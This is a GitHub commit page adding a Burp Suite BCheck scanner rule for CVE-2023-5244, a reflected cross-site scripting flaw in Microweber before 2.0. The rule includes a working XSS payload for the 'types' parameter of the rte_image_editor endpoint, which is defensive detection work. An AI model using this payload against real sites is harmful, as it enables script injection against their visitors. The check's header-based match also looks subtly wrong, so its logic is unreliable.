-
Notifications
You must be signed in to change notification settings - Fork 110
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #161 from nithisshs/main
Update and create a Bcheck script
- Loading branch information
Showing
2 changed files
with
28 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
25 changes: 25 additions & 0 deletions
25
vulnerabilities-CVEd/CVE-2023-5244-Microweber < V.2.0-Cross-Site-Scripting.bcheck
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
metadata: | ||
language: v2-beta | ||
name: "CVE-2023-5244 - Microweber < V.2.0 - Cross-Site Scripting" | ||
description: "Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint." | ||
author: "Nithissh" | ||
|
||
run for each: | ||
# you could add more values to this list to make the check repeat | ||
potential_path = | ||
"/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27" | ||
|
||
given host then | ||
send request called check: | ||
method: "GET" | ||
path: {potential_path} | ||
|
||
if "200" in {check.response.status_code} and "text/html" in {check.response.headers} | ||
and "alert(document.domain)" in {check.response.headers} | ||
and "microweber" in {check.response.headers} then | ||
report issue: | ||
severity: medium | ||
confidence: certain | ||
detail: `Reflected XSS found at {potential_path}.` | ||
remediation: "Upgrade to the latest version and for reference: https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470" | ||
end if |